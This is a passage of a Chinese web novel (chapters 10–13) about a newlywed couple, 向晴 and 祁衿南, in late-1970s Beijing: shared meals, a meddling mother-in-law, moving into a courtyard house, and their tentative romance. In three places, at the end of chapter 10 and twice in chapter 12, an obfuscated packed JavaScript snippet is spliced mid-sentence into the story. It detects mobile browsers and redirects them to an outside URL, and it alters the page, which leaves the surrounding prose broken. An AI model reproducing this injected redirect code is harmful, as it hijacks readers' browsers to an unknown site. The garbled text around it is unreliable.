祁衿南拉过一把椅子坐下,“你放心,这都是李岩父母亲自给我装的,他们一听我说和家里闹矛盾,大年初一没饭吃,眼看着就要把他们家的厨房给我都装进来了,就这还是我推脱了半天的结果。” 李岩父母和祁世海胡红梅都是多年好友,因为李岩父亲是农民出身,当年又被调到了乡下做书记,所以并未被下放,□□结束之后又被调了回来。 对于祁衿南和祁青西他们都是看着长大的,两家的孩子关系也很亲近,所以有什么好东西也会想着他们。 “改天我们带点礼物,亲自上门去拜访一趟。”向晴说着,把饭盒挨个摆好。 “行啊,等咱住进新家,都收拾好了就去。”祁衿南洗了把手,坐回到饭桌前,指着扣着的碗问:“这是什么?” 他打开扣住的酱,凑近闻了闻。 “是我刚做的酱,我去给你煮面,让你尝尝我做的炸酱面。” 向晴让祁衿南先吃,他不听,非要陪她一起煮面。 “够了够了,屋里还有饺子,吃不了这么多。”祁衿南见向晴下了足足两大把,赶忙阻拦。 “不是你一个人的。”向晴用筷子搅着,“待会儿拌好了,你给隔壁的邱医生送一份过去。” “邱医生是谁?”祁衿南拧了拧眉,一股醋味漫上来,警觉地问道:“他为什么也能吃你做的面?” 向晴被他的反应逗笑了,哄着说:“邱医生是和青西姐一个科室的医生,你插队后不久到的什么医院,这做酱的肉都是人家拿的,还人家一碗面不过分吧。” 说到这,向晴表情神秘起来,“这碗面让你去送,也是为了让你见见他。” “我为什么要见他?”祁衿南把碗递到向晴面前,接着煮好的面。 向晴把面分成两份,一份多些,一份少些,盛好把筷子在锅沿磕了磕,眨着星星眼,露出一脸狡黠的笑容:“我觉得,这个邱医生,喜欢青西姐。” 祁衿南端着碗的手顿了一顿,缓缓地跟在向晴身后回了屋。 “所以你才想让我去见见他。” “是。”向晴把酱往多的面里拨了一大半,顺着碗边搅拌着,“我想着你这个做弟弟的,给青西姐参谋参谋,虽然八字还没一撇,但是我觉得青西姐该放下那件事了,凭什么那个男的又是娶院长女儿又是升职的,青西姐就只能孤零零这么多年,想想我就生气。” 向晴说着,又往碗里夹了两块排骨,端给祁衿南,“喏,去吧。” 祁衿南无比认同向晴说的话,这件事就是他心里的一根刺,他真的希望姐姐可以放下这一切,过自己的人生。 向晴没有跟着去,这个邱医生有些腼腆,要是两个人一起去,到叫他尴尬,而且他们男人和男人之间,应该更聊得来,她在反而有些话不好说。 正好是去年的这个时候,向晴知道祁青西又去值班,所以从家里带了饺子和菜给她送过去,到的时候她已经吃上了,她问了才知道,是邱燃送来的。 邱燃当时并不值班,而且他家离医院有大半个市的距离,所以他才申请了住宿舍,还恰巧是祁青西隔壁,这么冷的天,饺子拿来的时候还是热的,反正她不相信纯同事可以做到这个份,这其中指定是有点猫腻。 向晴想着,把祁衿南那碗面也拌好,没过一会儿他就回来了。 向晴立刻八卦起来,好奇问道:“怎么样怎么样,你们都说什么了?” “我问他,是不是喜欢我姐,喜欢的话,就要拿出诚意,好好追。” “你就这么直接问啊?”向晴还以为他只是探探口风,没想到他这么干脆。 祁衿南眯着眼笑说:“大家都是成年人,他俩年级都不小了,难道还要像贾宝玉林黛玉一样,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407387|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不问一个不说,一个劲的猜对方的心思,还是干脆点好。” 向晴点点头,也是。 祁衿南赶忙坐下,端起面碗,夹了一大筷子,吸溜着就进了肚中,他还是第一次吃到向晴做的饭。 “你慢点吃,又没人和你抢。”向晴见自己的成果受到欢迎,心里很是开心。 不过几分钟,一碗面就吸溜光了。 祁衿南满意的放下筷子,称赞道:“好吃,我都好久没吃过这么正宗的炸酱面了。” “喜欢吃下次再给你做。”向晴这才开始动筷,夹了个饺子尝了尝。 “也是,以后我们就天天住在一起了,我想什么时候吃,我媳妇儿就能什么时候给我做。”祁衿南顺口的说出“媳妇儿”这几个字。 向晴还是第一次被人叫媳妇儿,羞涩中带着些悸动,在桌下轻轻地踢了一脚祁衿南,“瞎叫什么呢,谁是你媳妇儿。” 祁衿南把凳子搬到向晴身边,继续逗她:“我们都结婚了,你不是我媳妇儿是谁媳妇儿,你要是不愿意让我叫你媳妇儿,那叫什么?老婆子?” 向晴白了他一眼,“我有那么老吗?” 祁衿南脸凑得更近了些,在向晴耳边低语道:“那我叫你,小晴?晴晴?宝贝?” 祁衿南故意把最后两个字的声调拉长,低沉的声音传入向晴耳中,气息打在她耳边磨得她心口直痒痒,向晴噌的一下把身子往外挪开,眼神中闪出几丝惊慌,脸腾的红了起来。 “你瞎叫什么,有伤风化,小心让别人听见把你抓了去。”向晴慌乱的“恐吓”着祁衿南。 祁衿南被她这幅受惊的样子逗笑了,她还是这么容易炸毛,有点心思全写脸上了。 “好了好了,不逗你了,赶快吃饭吧,都要凉了。”说着他把凳子搬了回去,往向晴碗里夹了一块排骨。 一顿饭吃的向晴惊慌失措,但是因为早就饥肠辘辘,两个人把带回来的饭菜都吃了个光,还把刚刚切得水果也吃了些。 “我去把饭盒和碗洗了,你先休息一会儿。”祁衿南麻利的把三个饭盒叠到一起,用筷子把调到桌上的渣子归拢到碗里。 “等你洗好了,我们去一趟医院,给青西姐把水果送过去。” 向晴没和他抢,屁股一沾到床上眼睛就睁不开了,等祁衿南再回来的时候,她已经蜷缩在床上睡着了。 她是被热醒的,一睁眼就见祁衿南正用一只手抵着头,笑意盈盈的盯着她,另一只手用一本轻薄的医学书给她遮着打在她脸上的阳光,她身上还盖着两件棉外套。 向晴眨了眨涩着的眼,缓了几秒,一看墙上的表已经两点半了,立马直直的坐了起来:“你怎么不叫醒我,还没给青西姐送水果呢。” 祁衿南收回有些酸的胳膊,绕着肩膀转了几圈,安抚道:“你放心,我已经给我姐送去了,看着她吃的。” 向晴这才安定下来,又躺了回去,午睡之后有一种难言的压抑,瞬间又想到上午胡红梅对她的态度,恹恹起来:“你妈还是不喜欢我,我觉得她倒是挺喜欢那个白瑾的,还给她买和我一样的毛衣。” 祁衿南见她失落的样子,抓住她的手,道歉道:“都是我不好,我不该带白瑾一起去商店,我没想动她会愿意买一件一样的毛衣穿,至于我妈,她是喜欢白瑾,但是只是对于朋友女儿的喜欢,就像李岩父母对我一样,还有她和你的关系,我相信有一天她会明白你有多好,知道我们有多合适。” 向晴垂眸叹了口气,说道:“其实你妈给我摆脸色的时候,我心里想,大不了离婚算了,反正.....” “唔!” 祁衿南听不得这两个字,伸手盖住向晴的嘴唇,眉头一皱道:“不许说那两个字,听到了吗?我们已经结婚了,就不会离婚,这辈子你的丈夫只能是我,我也只有你一个妻子!” 向晴闻着他手上淡淡的香皂味,呆呆地点了点头,以后不说就是了。 11. 第 11 章 不同于祁家,向家可算是热热闹闹的过了个好年,大女儿和小女婿的纷纷到来让他们心中十分充盈,整天都是笑呵呵的。 连周芳给向晴织毛衣的时候,都是哼哼着歌儿的。 向晴让周芳把那件毛衣拆了又重新织了一个新样子,否则她一穿上这件毛衣,心里就很膈应,那天在祁家受的气立马就回到了她脑海中,淅淅沥沥的浸染着她。 向存志家里的大部分亲戚都在乡下,周芳父母早就去世了,只有一个姐姐嫁到了隔壁省,好几年都不见一次,所以向家几乎不需要走什么亲戚。 一个安静的午后,院子里时不时传来炮响声,是几个小孩子在点炮仗玩。 向家一家四口围着炉子坐成一圈,周芳织着毛衣,向存志卷着烟叶,向晴剥着花生,向雾啃着苹果。 “现在要是有个电视就好了。”向晴百无聊赖的说。 向存志:“过几天,等商店一上班,新的电视机一到,就能买回来。” “不是说很难抢吗?”向雾咬了一口苹果,手放在炉旁烤着。 周芳拽了拽毛线,笑着说:“你爸徒弟的媳妇儿在百货商店上班,已经和她说好了,到时候电视机一到就给我们留一台。” “那感情好啊。”向晴把剥好的花生往周芳嘴里喂去,“以后就有电视看喽。” “你都要搬走了,还在家里看什么电视,想看让祁衿南再给你置办一台。”向雾冷不丁这么一句,让向晴顿住片刻。 她这才意识到自己已经是嫁出去的女儿,要离开家了,以后一家四口在一起的日子只会越来越少,想到这儿忧伤控制不住的飘向眉梢。 不只是她,向存志和周芳对于小女儿即将要离开家也是十分的不舍的,自从那天向晴回来和他们说了年后要搬出去住的事,周芳一想到这件事就翻来覆去的睡不着。 向晴和向雾不一样,这么多年,一次都没有离开家外宿过,每天都会出现在她的眼皮底下,以后一下子见不到人了,她短时间内肯定是受不了的。 不过好在,女儿不用和公婆住在一起,省去了很多麻烦,这点上她对祁衿南是满意的,这件事办的好,即使祁家再好,金窝银窝不如自己的狗窝,两个年轻人还是应该有一个自己的家,虽然眼下就是一间房,但是她相信,凭借女儿女婿的本事,一定能把日子过得越来越好。 向存志也是一样的想法,不过有一点他不认同,他不觉得女儿嫁给祁衿南算是高嫁,她的女儿又不差,当初就是因为嫁给他祁衿南,才让这小子保住一条腿,女儿还受了不少委屈,现在祁家平反了,断没有让她女儿再受委屈的道理。 忽然门被推开,一股冷风直钻背对着门的向晴的后脖颈,冷的她打了个颤,刚刚的忧郁被一扫而空。 是祁衿南来了。 “爸,妈,向雾姐,小晴,你们都在啊。”祁衿南说着话,笑意盈盈的把门关上。 周芳一见是女婿来了,放下毛衣忙招呼他坐下,刚拿出向存志的茶叶罐准备给她沏一杯热茶,就被祁衿南拦下了。 “妈,您别忙活了,我是来带小晴去新家看看,看看还缺什么。”祁衿南说着话,眼神不住地往炉子旁剥花生的向晴瞥去。 “也不差这一会儿,喝口热水再去,还有点心也吃点。”周芳现在是打心眼里喜欢自己这个女婿,看着他高高大大,精精神神,干净利落的样子,就控制不住外溢的笑容。 “真不用了妈。”祁衿南摆着手,仍然是笑着,“早点去早点回,趁着现在有太阳,暖和。” “行了妈,你就让他们去吧,没见人家的眼神都要把小晴看穿了。”向雾又是冷不丁幽幽一句。 向晴带着些害羞的嗔怒道:“瞎说什么呢。” 祁衿南则抿抿嘴没说话,眼神中都是笑意。 “妈。”向晴站起身,一只手握着拳,用另一只手拍了拍裤腿上的花生皮,“我们先过去,待会儿回来再吃。” “行行行,你们先去。”周芳忽然又一拍大腿,“对了,我给你们做的被褥要不要现在带去。” 生气归生气,周芳还是在女儿结婚不久,把给她作为嫁妆的被褥席面准备齐全,就这么在柜子里放了好几年,年年都会拿出来晒晒打打,今年终于能交到女儿手上了。 “不用了妈,我先过去看看什么情况。”向晴用一只手穿着棉袄,有些吃力,祁衿南忙上手帮她套上袖子。 “也行,先过去看看,缺什么和妈说,妈尽量给你们置办全乎。”周芳看着女儿女婿这些细小的举动,心中很是开心,越看俩人越般配。 “行,那我们先走了。”向晴推门出去。 “爸妈,向雾姐,待会儿见。”祁衿南礼貌的点了点头就跟着向晴出了门。 刚走到胡同口,向晴转过身。 “喏。”她摊开刚刚握着拳的手,里面都是刚刚剥好的花生。 祁衿南眼睛一亮,勾起唇角问道:“这是专门给我剥的?” “顺手剥的,你吃不吃,不吃我吃了。”向晴嘴硬的否认着,作势要收回来。 “吃吃吃,只要是你给的什么我都吃。” 祁衿南乖乖的摊开掌心,向晴一把扣过去,在她手中满满的花生,到了他手上倒显得不算多。 就见他往嘴里一扣,一时间一把花生仁全进了嘴里。 向晴见他鼓着腮帮子咬着的样子有些滑稽,不禁被他逗笑:“你慢点吃,又没人和你抢,谁让你一下子都吃完的。” 祁衿南嘴里吃着东西,嘟嘟囔囔回她的话:“我爱吃花生。” “行了行了,快走吧。”向晴笑着催促着。 祁衿南爷爷家在东城边,离向晴家有点远,但是距离向晴即将要去工作的二厂很近,这点令她很满意。 经过之前几次,向晴现在已经习惯一上车就环住祁衿南的腰,整个人贴在他的后背上。 迎着风再冷,但是后背上阵阵暖意传来,让祁衿南心里热乎乎的。 “对了。”向晴忽然想起一件事,“我们用不用给五婶儿带点东西过去?” 大过年的,空手去多不合适,以后两家就住在一起,她又是第一次搬出来过日子,以后免不了要有麻烦五婶儿帮忙的地方,关系还是要处好。 “你放心,我昨天去的时候已经送过了,五婶儿你又不是没见过,你们肯定能处得来。” 祁衿南像是向晴肚子里的蛔虫,她还没说自己的顾虑,他就替她考虑到了,向晴之前去的时候见过五婶儿几次,只是说过几句话,五婶儿人确实很和善。 不知道骑了多久,两个人到了目的地。 车子停在巷子口,巷口儿好几个孩子正在玩滚铁环,叫的热火朝天。 向晴和祁衿南沿着巷子往里走,巷子很窄,两个人并排都有些艰难。 一个大杂院儿住了七八户人,祁家在最里面,每户门前都堆满了杂物,有坏了腿的木凳,堆着的白菜,门框上挂着的辣椒,破旧的木板门,车轮子。 “我记得我上次来的时候,这过道里还没放这么多东西呢。”向晴边说,边从一个积满灰尘的木柜子旁绕过去。 “之前每家都有下乡的,人少,现在一下子都回来了,有的还从乡下带了媳妇儿回来,住都住不下,只能把东西往外搁搁。”祁衿南拉着向晴的胳膊,往最里面走去。 祁衿南一到就看见五婶儿正在洗拖把。 “五婶儿。” 被叫做五婶儿的中年女人穿着一件灰色劳动布衫,系着一件蓝色的围裙,身形圆圆滚滚,齐耳的短发,中庭饱满,慈眉善目的样子。 “你们来了。”五婶儿笑着放下拖把,双手在围裙上擦了擦,“你昨天说要带小晴来看看,我想着把地再拖一遍,干干净净的。” “这地您都拖了多少遍了,快比我脸都干净了。”祁衿南拉过下向晴,介绍道:“这是小晴,之前您见过。” 向晴摘下手套,伸出手道:“五婶儿,我是小晴,以后咱就住在一个院儿,还要麻烦您多包容,有什么我做的不好的不对的,您就和我直说,您就把我当亲女儿。” 五婶儿弯着眼睛笑道:“哪有那么多规矩,五婶儿就是比你们多活了几十年,生活经验比你们多点,有什么不懂的尽管问。” 向晴:“衿南都和我说了,他住在这儿的时候,多亏了您照顾他,他特别感谢您,在那么艰难的时期,您都没让他挨饿,还帮他买药换药,可以说没有您就没有他,以后我们就是一家人,有用的到我们的地方您尽管开口。” 五婶儿听着这话,嘴角都要咧到耳后根儿了,双手紧紧握住向晴的手,眉眼飞扬道:“好闺女,真是个好闺女,小南你可得好好对小晴。” “放心,婶儿,我已经在做了。”祁衿南笑着又往五婶儿住的屋子里瞥了一眼,“燕子呢?” 五婶儿:“燕子去她同学家了,说有什么功课不会,去学习了。” 祁衿南:“行啊,燕子现在这么上进,大过年的都不放松放松。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407388|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这不今年就要高考了,她多少还是有些压力。” 林燕今年高三,正好赶上高考恢复,不像向雾,耽搁了这么多年,二十好几了还要和一堆十七八岁的孩子做同学。 祁衿南看向晴的表情就知道她是想起了向雾,于是岔开话题道:“咱们去看看房间吧。” 五婶儿见他们进去,自己高兴的回屋子里倒水去。 这是一个四方的小院儿,院里一共三间屋子,一间是朝阳的正屋,其他两间是偏房。 五婶儿把正屋腾出来让他们小两口住。 院子很小,拢共也就三四米宽,几乎都被东西填满,能落脚的地方并不多,三个人就站满了。 一进正屋门就见木柜上方白皙的墙上贴着一个黄底红色的“囍”字,木柜上摆着一个钟表,还有一盆红色的塑料假花,一块红色的镜子,还有两个红暖水瓶。 左边是一个崭新的红漆大衣柜,还有一个矮柜,上面摆着一套茶具,还用手绢盖着。 门边是脸盆架和炉子,两个漱口杯子和牙刷整齐地放在窗台上,牙刷的方向都是一样的。 右边是一张双人床,床头也贴了一个一个囍字,床上是空着的,还没有铺被褥,床头边上有一张写字柜,上面只有一个台灯和几本书。 一间屋子里已经几乎囊括了他们二人生活的所有必需品,所有东西都是新的,看来他从一回来就开始在准备这些东西,完完整整的置备下来这一套,肯定费了不少心思。 当然,也肯定花了不少钱和票,他家里人不知道他要搬出来住,所以这钱肯定都是他自己的,他哪来的这么多钱,向晴不知道。 向晴在屋里走走看看,一直没出声,祁衿南就跟在她身后,观察她的表情,小心翼翼问道:“怎么样?满意吗?” 能有一处自己的住处向晴当然是开心的,只是眼神落到床上时,她心里起了一丝波澜,以后两个人就要一起睡在这张床上,这让她心理产生一丝异样,虽说两人已经是夫妻,但是连手都没牵过几次就要同床共枕了,她心里还是有些小小的抵触。 祁衿南顺着她的目光看向那张床,大致猜出了她心中的想法,状似无意道:“李岩家有张行军床,下午我就搬来,到时候你睡床上,我睡行军床。” 向晴有些抱歉,住在一起还要让他睡行军床,刚想开口说些什么就听祁衿南又道。 “放心,在这个家你说了算,你想怎么样就怎么样,没有人可以让你做你不愿意的事。” “那要是五婶儿问起来你怎么说?”向晴坐到床上,向外瞥了一眼。 祁衿南想了想道:“我就说这床是李岩家不要的,我搬来放着万一用得到。” 向晴点点头,五婶儿也不是那么八卦的人,肯定不会细问,这个理由也足够了。 她又接着问:“你置办这些家具,花了不少钱吧。” 现在结婚讲究家具有三十八条腿儿,向晴倒是没有多在意,但是祁衿南却一样不差的把这些都置办齐了,之前祁青西说的“惊喜”,应该就是现在她看到的所有。 他能有这份心,向晴还是很开心的。 “没多少,这些家具是我找在家具厂上班的朋友打的,我就出了木料钱和手工钱,比直接买便宜不少呢。” 事情确实是这样,但是祁衿南省略了一个小插曲。 原本这个朋友早就接了一个别人的活,准备年前做好,这个别人就是他爱人的弟弟,但是人家看他要得急,所以就给他插了个队。 他这么一插队,就间接影响到了人家夫妻二人的感情,每次他上门的时候,都收获了不少白眼,有一次他实在忍不住,问了朋友才知道是怎么一回事,自那之后,每次上门他都提着好些东西,这才换来点好脸色。 听他说便宜了不少,向晴才安下心,虽然花的不是她的钱,但是两个人都结婚了,他的钱花多了她也会觉得心疼。 祁衿南把书桌前的椅子拉过来,坐在向晴面前,“那你看,咱什么时候搬过来?” 其实祁衿南心里已经有计划,但是他的计划不管用,一切还要听向晴的。 向晴两手压在大腿下,脚尖在地上点点,思考了片刻,道:“那就后天吧,去二厂上班之前。” 年前顾前进已经和向晴说好了,她的人事关系已经调动到了二厂,节后她就可以直接去二厂上班了。 向晴的想法和祁衿南不谋而合,他笑着说:“好,都听你的,到时候我多叫几个人去接你。” 12. 第 12 章 祁衿南准备的几乎很齐全,还有一些细节上的东西等搬过去再慢慢置办,那天去的时候,向晴注意到玻璃上和门上的玻璃都没有帘子,外面一眼就能看见屋内的场景,她想扯点碎花布把玻璃盖上。 周芳给向晴准备的陪嫁前前后后筹备了三年,除了被褥还有的确良衬衫,灯绒芯面料的裤子,一双皮鞋,一套新的碗盘碟子,还有的和祁衿南买的重复了,向晴就没带。 昨天晚上,周芳把向晴每个月上交的工资原封不动的还给了她,以后就要自己过日子了,没点钱傍身可不行。 向晴参加工作的这些年,每个月发了工资,除了自己留些零花钱,几乎都上交到了周芳那儿,加起来足足有一千两百块。 向晴只收了一千块,剩下的两百她说什么也不能收,周芳知道女儿是一片孝心,只说替她保管着,有需要随时来拿。 其实她这个做母亲的,私心里还是想再多给小女儿拿些钱的,但是大女儿马上就要去读大学了,这笔开支她虽然无法估计,但是应该不会小。 家里现在就剩下一个上班的,虽然向晴父亲是高级钳工,一个月有六十块的工资,但是每个月还要寄十五块到老家,再加上吃吃喝喝,人情世故,一年攒不了太多,只能紧着刀刃处使了。 第二天一早,向家一家四口早早地就起来收拾,周芳给女儿做了一顿面条,一顿饭吃的桌上很是沉默,大家都心不在焉。 向晴终于有了要离开家的实感,心中的酸楚就着面条一起咽了下去,迟早她要经历这一天的,她不能哭,要笑着离开。 来接向晴的除了祁衿南和李岩,还有一个是他们报社的另一个同事,薛海。 此人身形圆滚,鼻梁上架着一副眼镜,看上去憨憨的,一见面就嫂子嫂子的叫个不停,向晴只好一直礼貌地陪笑。 原本周芳想跟着一起去帮忙收拾的,但是向晴不想她来回折腾,只说到时候都整理好,再接他们过去正式的吃一顿饭。 向晴看着她红了的眼眶,就知道母亲是舍不得她,但是向晴自己也怕控制不住情绪,到时候弄个母女二人双双哭泣,倒是惹人笑话,所以把东西放到车上就走了。 祁衿南,李岩和薛海后座上都绑着向晴的行李,而向晴则坐在向雾的车上。 向雾跟着去看了一眼,认了认门,见新家布置的不错,该有的都有,也没说什么其他,只是塞给了向晴一个信封,里面是她这些年攒下来的全部积蓄。 向晴说什么也不能收:“你攒这些钱不容易,马上就要上大学了,用到钱的地方多了去了,我不能要。” 向雾又把信封推回去:“你就放心吧,咱爸咱妈还能少了我上大学的钱不成?自己亲妹妹结婚,姐姐给包个红包,这不是天经地义的嘛,你就收着吧,以后我结婚的时候,你再还个更大的。” 向晴听完她的话,也不再推搡,手上的信封变得滚烫起来。 “对了。”向晴忽然想到一个人,“你和简清表哥还有联系吗?” 方简清是祁衿南的表哥,从小在香港长大,高中的一个学期到内地借读,住在祁衿南家,正好和向雾是一个班的。 向晴和祁衿南的相识就是因为方简清和向雾的关系,说是带着他们两个小的一起学习,其实就是拿他们当借口。 他们两个人就是两个电灯泡,过了不久四个人就分成了两两一对,向晴就是那个时候和祁衿南熟络起来的。 向雾的眼神中闪过一丝不自然,在屋里踱步起来:“这都陈芝麻烂谷子的事儿了,还提他干嘛。” 向晴不知道二人之间具体发生了什么,她作为旁观者,只知道当年方简清走的很匆忙,都没有好好的和姐姐告个别。 他走之后,虽然向雾还是表现出一副和平常没什么不同的样子,但是向晴知道她很难过,原本一沾枕头就着的姐姐,那阵子几乎每晚都在翻身。 向晴忙拍了拍嘴:“好好好,不提不提。” 这时祁衿南从外面进来,刚把李岩和薛海送走。 “向雾姐就留在这儿吃饭吧。”祁衿南自然地站到向晴一旁,肩膀贴到向晴的背后。 “你们忙你们的的吧,我还差你们这顿饭。”向雾摆出长辈的样子,叮嘱道:“祁衿南,对我妹妹好点,我的掌上明珠可就交到你手上了。” 祁衿南:“向雾姐请放心,我会比你更加呵护这颗明珠,不让她受一点委屈,虽然天上的月亮我摘不下来,但是副食店的桃酥和橘子汁儿我保准管够。” 这些都是向晴爱吃的,他还记得。 向雾走后,向晴开始收拾自己的衣服,一打开柜子,发现祁衿南只有少许几套衣服,等她把衣服整整齐齐的放好,已经看不见祁衿南的了。 “你的东西怎么这么少,我记得你当时拿出来不少衣服。”向晴忍不住发问,之前的他可最是讲究的。 虽然当时可供选择的衣服款式不多,但是祁衿南总是穿的很得体,后来他家里出事,东西都被没收了,但是衣服他还是带出来不少。 祁衿南往炉子里添了一块蜂窝煤,把水烧上,往向晴那边瞥了一眼,“早就散完了,换了点吃的。” 插队的时候,哪里还顾得穿什么,能吃饱就不错了,有时候实在饿得不行,就拿自己的衣服和老乡们换点窝窝头棒子面儿,换着换着就剩下几套了,自那之后他也不讲究穿什么了,只要是合身干净就行,之前那些臭毛病都给他掰过来了。 向晴知道他那时候过得苦,也不再去提起,正好掏出来周芳给她织好的新毛衣,一脸笑意的比划在身前:“怎么样,是不是比之前更好看了?” 祁衿南一眼就认出了那件红色毛衣,只是样子不一样了,但是颜色质地一看就知道是之前他买的那件。 “好看,咱妈的手艺肯定比外边强多了。” 向晴噗嗤一笑:“我妈又不在这儿,你拍她马屁她也听不到。” “我说的是实话。”祁衿南也跟着笑,“下次见了妈你可得和她好好说说我夸妈的话。” “我才不说呢。”向晴笑着把衣服叠好。 “咚咚咚”有人敲门,“衿南哥。” 向晴转过头,从门上的玻璃里看到是五婶儿的女儿,林燕。 祁衿南把门打开,让她进来。 小姑娘一进来就扯着嗓子喊道:“衿南哥,我妈说饭做好了,让你来吃。” 屋子也不大,向晴就站在她不远处,但是人家从一进门就没有朝她这边看,背对着她和祁衿南说话,吃饭也没有提到她。 女性有一种天生的敏锐,一个动作,一句话,向晴就发现这个姑娘对她有成见。 “这是你嫂子,你们之前应该见过。”祁衿南介绍着向晴。 “我没见过,我没有这个嫂子。”林燕一脸倔强的别过脸。 平日里这个孩子不懂事就算了,但是眼下却这么失礼,这让祁衿南很生气,他的表情严肃起来,带着些命令的语气道:“叫嫂子!” 祁衿南平时都很随和,林燕从来都没有见过他生气,一时间被吓住没有出声。 向晴刚搬来,不想和人产生矛盾,于是出声打着圆场:“燕子你好,我是向晴,以后就和你们住在一个院子里,要是有哪里做的不好请你多多包涵。” 小姑娘显然被祁衿南吓到了,脸颊憋得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407389|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通红,眼眶里浸满了泪水,大声喊道:“我就不叫,我没有这个嫂子!” 喊完就小跑着离开,出院口还差点撞到人。 向晴有些手足无措,她不知道自己哪里得罪了这个小姑子,让她这么讨厌自己。 祁衿南也有些奇怪,昨天她还说要见到向晴了很激动,今天像是变了个人一样,态度一百八十度转变。 怕向晴生气,祁衿南轻声安慰道:“昨天晚上知道你来还很开心,也不知道今天是怎么了,她这个年纪的女孩子心思多,你别和她计较,等晚上回来我好好批评她。” “可别。”向晴阻拦道,“过阵子再说吧,现在去让她以为是我撺掇的,更讨厌我了。” 吃过饭,向晴也收拾的差不多,看着床上那套崭新的红色线绨牡丹被褥,不禁有点想投入它们的怀抱。 “午睡吗?”祁衿南开门进来,见向晴正在脱鞋。 “嗯。” “正好,我也困了。”祁衿南把外套挂在衣架上。 向晴以为他要睡在行军床上,自顾自的蛄蛹进了被窝。 刚躺好就见他也坐到了床上,正在脱着鞋子。 向晴又腾的一下手撑着坐起来,惊讶问道:“你干嘛?”当初说好了分床睡的。 祁衿南扭头看她,笑道:“这大白天的,我能干嘛,当然是睡觉了,万一五婶儿从玻璃里看到咱俩分开睡的,肯定要问个究竟,到时候我要怎么和她解释,说你害羞?还没准备好和我同床共枕?” 向晴忿忿的看了一眼门上那块玻璃,迟早她得把它堵上。 其实祁衿南大可以自己就把那块玻璃用报纸盖上,但是他不想,他又什么都不干,怎么就不能和自己的妻子睡在同一张床上呢。 原本一个人睡的床,又突然冒出一个,向晴一个劲儿的往墙上贴,连带着被子也被她揪走大半。 “这不是妈给咱做的双人被吗?也让我感受感受咱妈的温暖,你别光自己贪心啊。”祁衿南背对着向晴,调侃着她。 向晴这才发现他就盖了一半,从背后又抽出一大半放在两个人中间的缝隙。 “好了,你再拉过去点。” 向晴话音刚落,就听见“扑腾”一声,背对着她的人忽然转过了身子,一张棱角分明的脸就这么出现在他眼前。 没错,就是眼前,不到两厘米的距离。 向晴僵住了,眼神直愣愣的盯着眼前的人,呼吸好像暂停了,大气不敢呼一下,心脏扑通扑通的跳个不停,她觉得那声音刺耳极了,手在被子里悄悄挪动到胸口处紧紧捂着,希望祁衿南听不到。 相反,祁衿南却像什么事都没有发生一样,温热的气息一阵接一阵的打在向晴鼻尖,伸出手从她的头发上慢慢滑到耳垂,大拇指和食指轻轻地摩挲着,感觉到她的耳垂慢慢热了起来,又把手放在她的耳后,大拇指轻轻刮着她的脸颊。 眼前的人儿,脸已经涨得通红,祁衿南怕她憋得难受,最后轻轻地在她额头上落下一吻,拿上棉衣又出了门。 向晴就这么看着他上床,亲她,又离开,一气呵成,完全猜不中他的心思,索性长长的舒了一口气,手在额头上蹭了蹭他刚刚亲过的地方。 祁衿南原本是打算在床上睡的,都躺在一起了就想逗逗她,不承想这一逗自己却起了反应,他怕他控制不住自己,索性还是不睡了,去院子里吹吹风清醒清醒。 他边走边无奈的笑着,原来自己的定力遇到她之后变得这么差,让他有一种饿狼扑食的感觉,他好像第一次理解“饥渴”两个字的含义,他现在就很饥渴,希望他的妻子可以早日接受他,让他过上真正的夫妻生活。 13. 第 13 章 祁衿南是傍晚回来的,回来的时候还给向晴带了从李岩家拿的包子和排骨。 两个人这间屋子里没有桌子,向晴让他放在床头的书桌上,这个柜子高,坐在床边不用弯腰,祁衿南拖了一把椅子,把椅背靠在桌沿边,跨开腿坐下。 “幸好你回来了,五婶儿都叫我好几次了,我说等你回来再过去。”向晴从抽屉里拿出两双从家里带来的碗筷,在桌子上磕了一下筷子头,对齐架在碗上推到他面前。 “我吃过了,都是你的。”祁衿南把碗推到一边,坐在她旁边看着她吃。 向晴不解:“你吃过了还坐过来干什么?” “我的眼睛告诉我,他想看着你吃。”祁衿南说着,手握着拳放在桌上,下巴抵在拳头上,仰头冲向晴眨了眨眼睛。 “随便你。” 向晴早就饥肠辘辘,五婶儿做的饭偏淡,她中午吃的不多,刚到下午胃里就开始咕噜咕噜叫。 “醋醋醋,去帮我倒点醋来。”向晴刚咬下一口排骨,发现饺子没有醋。 “得嘞。”祁衿南拿起手边向晴为他准备的碗,一溜烟儿跑出去,没隔了一会儿又跑回来。 向晴见他没穿外套就跑了出去,担心道:“连衣服都不穿,万一感冒了怎么办。” “就这么一段距离,不会的。” “那也不行,万一你身上出了汗,一着凉可就生病了。” 